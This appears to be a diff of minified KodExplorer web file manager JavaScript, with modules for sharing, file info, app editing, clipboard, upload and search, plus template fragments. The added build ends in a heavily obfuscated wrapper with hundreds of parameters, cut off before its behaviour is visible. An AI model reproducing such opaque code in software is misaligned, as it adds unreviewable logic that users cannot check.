0==e)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{e.canUpload===void 0&&(e.canUpload=""),t=e,e.showName||(e.showName=e.name),$(".content-info input[name=sid]").val(e.sid),$(".content-info input[name=type]").val(e.type),$(".content-info input[name=name]").val(e.name),$(".content-info input[name=showName]").val(e.showName),$(".content-info input[name=path]").val(e.path),$(".content-info input[name=timeTo]").val(e.timeTo),$(".content-info input[name=sharePassword]").val(e.sharePassword),$(".share-view-info").removeClass("hidden"),e.numDownload===void 0&&(e.numDownload=0),e.numView===void 0&&(e.numView=0);var a=LNG.share_view_num+e.numView+" "+LNG.share_download_num+e.numDownload;$(".share-view-info").html(a),"1"==e.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==e.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==e.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==e.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var i=e.type;"folder"==e.type&&(i=1==e.codeRead?"codeRead":"folder");var n=G.appHost+"share/"+i+"&user="+G.userID+"&sid="+e.sid;$(".content-info .share-url").val(n),(e.timeTo||e.sharePassword||e.canUpload||e.codeRead||e.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save)}},r=function(){$(".share-action .share-remove-button").unbind("click").click(function(){l([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$(".share-action .share-create-button").unbind("click").click(function(){var e="";$(".share-dialog .content-info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.selfShare=e.info,ui.f5(),s(e.data),$(".share-create-button").text(LNG.share_save)):Tips.tips(e)})}),$(".content-info .open-window").unbind("click").bind("click",function(){window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var e=$("input.share-url"),a=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var i=a.createTextRange();i.moveEnd("character",-a.value.length),i.moveEnd("character",t),i.moveStart("character",0),i.select()}else a.setSelectionRange(0,t)})};s(t),r()},v=function(e){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},g=function(e,t,a,i,n){if(!(1>e.length)){var o,s=G.myDesktop;i&&(s=core.pathFather(e)),o="folder"==a?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=a),$.ajax({url:G.appHost+"explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},b=function(e,t){if(!(1>e.length)){var a=core.pathThis(e),i=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(i+a+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},y=function(e,t,a){if(e){var i=G.appHost+"explorer/imageRotate&rotate="+t+"&path="+urlEncode(e);$.ajax({url:i,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){return e?(Tips.close(e),e.code&&"function"==typeof a&&a(e),void 0):(Tips.close(LNG.php_env_error_gd,!1),void 0)}})}},k=function(t){var a={};a.fileInfo=e("./tpl/fileinfo/fileInfo.html"),a.pathInfo=e("./tpl/fileinfo/pathInfo.html"),a.pathInfoMore=e("./tpl/fileinfo/pathInfoMore.html"),1>t.length&&(t=[{path:G.thisPath,type:"folder"}]);var i="info";1==t.length&&(i="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="pathInfoMore",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"pathInfo":"fileInfo",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(a[n]),r=UUID();e.data.is_root=G.isRoot,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.sizeFriendly=pathTools.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(i),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui-outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var a=$("."+e);a.find(".open-window").bind("click",function(){window.open(a.find("input.download-url").val())}),a.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(a.find("input.download-url").val(),a.find(".qrcode").get(0))});var i=a.find(".file-md5-loading");if(1==i.length){var o=n(t);o+="&getMd5=1",core.fileInfo(o,function(e){i.removeClass("file-md5-loading"),e.code?i.html(e.data.fileMd5):i.html(LNG.error)})}var s=a.find("input.download-url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),a.find(".edit-chmod").click(function(){var e=$(this).parent().find("input"),a=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){a.text(LNG.loading)},error:function(){a.text(LNG.button_save)},success:function(e){a.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){a.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e,t,a){var i=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return a?(i(),void 0):($.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:i,cancel:!0}),void 0)},C=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}"/"==e.path&&(e.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},L=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},N=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app-edit-select-icon").unbind("click").bind("click",function(){var t=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app-edit-select-icon-input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},_=function(t,a,i){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/appEdit.html"),d=template.compile(c);switch(void 0==i&&(i="userEdit"),"rootEdit"==i&&(t=t),"userEdit"==i||"rootEdit"==i?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t,appType:G.settings.appType})):s=d({LNG:LNG,uuid:l,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(L(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=L(n);switch(i){case"userAdd":var s=urlEncode(G.thisPath+e.name);o=G.appHost+"app/userApp&action=add&path="+s;break;case"userEdit":o=G.appHost+"app/userApp&path="+urlEncode(t.path);break;case"rootAdd":o=G.appHost+"app/add&name="+urlEncode(e.name);break;case"rootEdit":o=G.appHost+"app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("rootEdit"==i||"rootAdd"==i){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof a?a():ui.f5()}})}}]}),n=$("."+l),G.isRoot||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui-content").css("overflow","inherit"),i){case"userEdit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":n.find("option[value="+t.group+"]").attr("selected",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;default:}N(n)},T=function(){core.appStore()},S=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var a=t.data;a=a.replace(/[\/\\]/g,"_"),Tips.close(t);var i={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:a,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.thisPath+a);e=G.appHost+"app/userApp&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(i))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{makeJson:n,appEdit:_,appList:T,appAddURL:S,share:u,shareBox:f,setBackground:v,createLink:g,createProject:b,imageRotate:y,newFile:o,newFolder:s,rname:r,zipDownload:c,zip:d,unZip:p,info:k,remove:l,fav:C,favRemove:w}}),define("app/path/tpl/fileinfo/fileInfo.html",[],"
        \n {{if downloadPath}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
        \n
        \n
        \n\n {{if fileMd5}}\n
        \n
        MD5:
        \n
        {{fileMd5}}
        \n
        \n
        \n {{/if}}\n\n {{if imageSize}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{imageSize.width}} × {{imageSize.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n \n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/path/tpl/fileinfo/pathInfo.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n\n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/path/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        '),define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/path/tpl/appEdit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/path/clipboard",[],function(){var e=function(e){return ui.path.pathOperate.makeJson(e) -},t=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},a=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},i=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var a=G.appHost+"explorer/pathPast&path="+urlEncode(e);$.ajax({url:a,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},n=function(t,a,i){a&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},o=function(t,a,i,n){a&&(void 0==n&&(n=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},s=function(e,t){var a="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",i="
        "+LNG.clipboard_null+"
        ";if(0!=e.length){i="
        "+LNG.clipboard_state+LNG[t]+"
        ";for(var n=40,o=0;e.length>o;o++){var s=e[o],r=s.path;r=n>r.length?r:"..."+r.substr(-n),i+="
        "+s.type+": "+r+""}i+='
        "}return i},r=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(e){e.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:s(e.data,e.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})},l=function(){var e=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e},t=function(e){var t=e.originalEvent;if(t.clipboardData&&t.clipboardData.items){var i=Array.prototype.filter.call(t.clipboardData.items,function(e){return e.type.indexOf("image")>=0});Array.prototype.forEach.call(i,function(e){var t=new FileReader;t.onloadend=function(){a(this.result)},t.readAsDataURL(e.getAsFile())})}},a=function(t){if(!core.uploadCheck("explorer.serverDownload"))return!1;t=t.replace("data:image/png;base64,","");var a=date("20yymd-his")+".png";$.ajax({type:"POST",dataType:"json",url:e()+"&base64Upload=1&upload_to="+urlEncode(G.thisPath)+"&name="+a,data:{file:t},beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(e)}})};$(window).on("paste",t)};return l(),{copy:t,cute:a,past:i,cuteDrag:n,copyDrag:o,clipboard:r}}),define("app/path/search",[],function(e){var t=e("./tpl/search.html"),a=e("./tpl/searchList.html");return function(e,i){i||(i=G.thisPath);var n,o,s=function(){var a=trim(core.pathClear(i),"/");if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",c);var s=template.compile(t);0==$(".dialog-do-search").length?(n=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:s({LNG:LNG})}),o=p(),o.path=i,""!=e&&(o.search=e),$("#search-path").val(o.path),$("#search-value").val(o.search),d()):($.dialog.list["dialog-do-search"].display(!0),e&&$("#search-value").val(e),$("#search-path").val(i),l())},r=function(){return o={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},l=function(){r(),f(o)},c=function(e){var t=htmlEncode($("#search-value").val());if(e=htmlEncode(e),o.is_case)e=e.replace(t,''+t+"");else{var a=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,a)+''+e.substr(a,t.length)+""+e.substr(a+t.length)}return e},d=function(){$("#search-value").die("keyup").live("keyup",function(){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(l),$(".search-header .btn").die("click").live("click",l),$(".search-result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path")),i=core.pathFather(a);return core.openPath(i),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(a)},200),stopPP(e),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));return kodApp.setLastOpenTarget(t),kodApp.open(a,t.attr("data-ext")),stopPP(e),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var i=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:i,lineIndex:$(this).parent().find("[data-line="+i+"]").index($(this).find(".line"))}),kodApp.open(a,t.attr("data-ext"),"aceEditor"),stopPP(e),!1}),$(".search-header input[type=checkbox]").on("click",function(){r(),p(o)})},p=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(e.search).textSelect(),e.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),e.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(e.ext),e}return LocalData.setConfig(t,e)},u=function(e){var t=$(".file-items"),i=$(".search-desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.fileList.length&&0==e.data.folderList.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(a);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),o.is_content){for(var s=e.data.fileList,r=0,l=0;s.length>l;l++)s[l].searchInfo&&(r+=s[l].searchInfo.length);i.html(LNG.search_result+": "+r+"(in "+s.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.fileList.length+" "+LNG.file+", "+e.data.folderList.length+LNG.folder+".")},f=function(e){p(e),$("#search-value").textFocus();var t=$(".file-items"),a=$(".search-desc");if(!e.search||!e.path)return a.html(LNG.search_info),t.html(""),void 0;var i=G.appHost+"explorer/search";G.sharePage!==void 0&&(i=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:i,dataType:"json",type:"POST",data:e,beforeSend:function(){a.hide().html(LNG.searching+'').fadeIn(100)},error:function(e,t,i){core.ajaxError(e,t,i),a.html(LNG.error)},success:function(e){u(e)}})};s()}}),define("app/path/tpl/search.html",[],"\n\n"),define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
      • \n
        \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
        \n
          \n {{each v.searchInfo value index}}\n
        • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/explorerWap/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html","./ui","./tpl/list.html","./path","../../path/pathOperate","../../path/tpl/fileinfo/fileInfo.html","../../path/tpl/fileinfo/pathInfo.html","../../path/tpl/share.html","../../path/tpl/fileinfo/pathInfoMore.html","../../path/tpl/appEdit.html","../../path/clipboard","../../path/search","../../path/tpl/search.html","../../path/tpl/searchList.html"],function(a,b,c){Config={BodyContent:".bodymain",FileBoxSelector:".file-continer",FileBoxClass:".file-continer .file",FileBoxClassName:"file",FileBoxTittleClass:".file-continer .title",SelectClass:".file-continer .select",SelectClassName:"select",TypeFolderClass:"folder-box",TypeFileClass:"file-box",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folder-list-tree",pageApp:"explorerWap",treeAjaxURL:"explorer/treeList&app=explorer",AnimateTime:200},a("lib/jquery-lib"),a("lib/util"),a("lib/contextMenu/jquery-contextMenu"),a("lib/artDialog/jquery-artDialog"),core=a("../../common/core"),ui=a("./ui"),ui.path=a("./path");$(document).ready(function(){G.user&&(Config.treeAjaxURL="share/treeList&app=folder&user="+G.user+"&sid="+G.sid,$(".tool-menu-right-btn").addClass("hidden"),$(".tool-menu-right [data-action]").addClass("hidden"),G.shareInfo.canUpload&&($(".tool-menu-right-btn").removeClass("hidden"),$(".tool-menu-right [data-action=upload]").removeClass("hidden"))),core.init(),ui.init(),ui.path.init(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),a.async("lib/webuploader/webuploader-min",function(){core.uploadInit(),window.uploader.on("uploadFinished",function(){$.artDialog.list["dialog-file-upload"].close()})}),$(".common-footer").appendTo(".panel-menu"),navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/)&&$('[data-action="action-download"]').addClass("hidden")})});;;;;;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,J,Q,K,L,y,x,m,B,M,F,k,S,R,b,H,_,D,X,w,V,U,Y,z,q,W,Z,j,$n,nn,tn,rn,on,en,cn,fn,an,un,vn,dn,sn,On,En,hn,Cn,ln,pn,An,In,Gn,gn,Pn,Nn,Tn,Jn,Qn,Kn,Ln,yn,xn,mn,Bn,Mn,Fn,kn,Sn,Rn,bn,Hn,_n,Dn,Xn,wn,Vn,Un,Yn,zn,qn,Wn,Zn,jn,$t,nt,tt,it,rt,ot,et,ct,ft,at,ut,vt,dt,st,Ot,Et,ht,Ct,lt,pt,At,It,Gt,gt,Pt,Nt,Tt,Jt,Qt,Kt,Lt,yt,xt,mt,Bt,Mt,Ft,kt,St,Rt,bt,Ht,_t,Dt,Xt,wt,Vt,Ut,Yt,zt,qt,Wt,Zt,jt,$i,ni,ti,ii,ri,oi,ei,ci,fi,ai,ui,vi,di,si,Oi,Ei,hi,Ci,li,pi,Ai,Ii,Gi,gi,Pi,Ni,Ti,Ji,Qi,Ki,Li,yi,xi,mi,Bi,Mi,Fi,ki,Si,Ri,bi,Hi,_i,Di,Xi,wi,Vi,Ui,Yi,zi,qi,Wi,Zi,ji,$r,nr,tr,ir,rr,or,er,cr,fr,ar,ur,vr,dr,sr,Or,Er,hr,Cr,lr,pr,Ar,Ir,Gr,gr,Pr,Nr,Tr,Jr,Qr,Kr,Lr,yr,xr,mr,Br,Mr,Fr,kr,Sr,Rr,br,Hr,_r,Dr,Xr,wr,Vr,Ur,Yr,zr,qr,Wr,Zr,jr,$o,no,to,io,ro,oo,eo,co,fo,ao,uo,vo,so,Oo,Eo,ho,Co,lo,po,Ao,Io,Go,go,Po,No,To,Jo,Qo,Ko,Lo,yo,xo,mo,Bo,Mo,Fo,ko,So,Ro,bo,Ho,_o,Do,Xo,wo,Vo,Uo,Yo,zo,qo,Wo,Zo,jo,$e,ne,te,ie,re,oe,ee,ce,fe,ae,ue,ve,de,se,Oe,Ee,he,Ce,le,pe,Ae,Ie,Ge,ge,Pe,Ne,Te,Je,Qe,Ke,Le,ye,xe,me,Be,Me,Fe,ke,Se,Re,be,He,_e,De,Xe,we,Ve,Ue,Ye,ze,qe,We,Ze,je,$c,nc,tc,ic,rc,oc,ec,cc,fc,ac,uc,vc,dc,sc,Oc,Ec,hc,Cc,lc,pc,Ac,Ic,Gc,gc,Pc,Nc,Tc,Jc,Qc,Kc,Lc,yc,xc,mc,Bc,Mc,Fc,kc,Sc,Rc,bc,Hc,_c,Dc,Xc,wc,Vc,Uc,Yc,zc,qc,Wc,Zc,jc,$f,nf,tf,rf,of,ef,cf,ff,af,uf,vf,df,sf,Of,Ef,hf,Cf,lf,pf,Af,If,Gf,gf,Pf,Nf,Tf,Jf,Qf,Kf,Lf,yf,xf,mf,Bf,Mf,Ff,kf,Sf,Rf,bf,Hf,_f,Df,Xf,wf,Vf,Uf,Yf,zf,qf,Wf,Zf,jf){$[t](i,[r,o,e,c,f,a,u,v,d,s,O,E,h,C],function(n){$[l]=n(r),$[p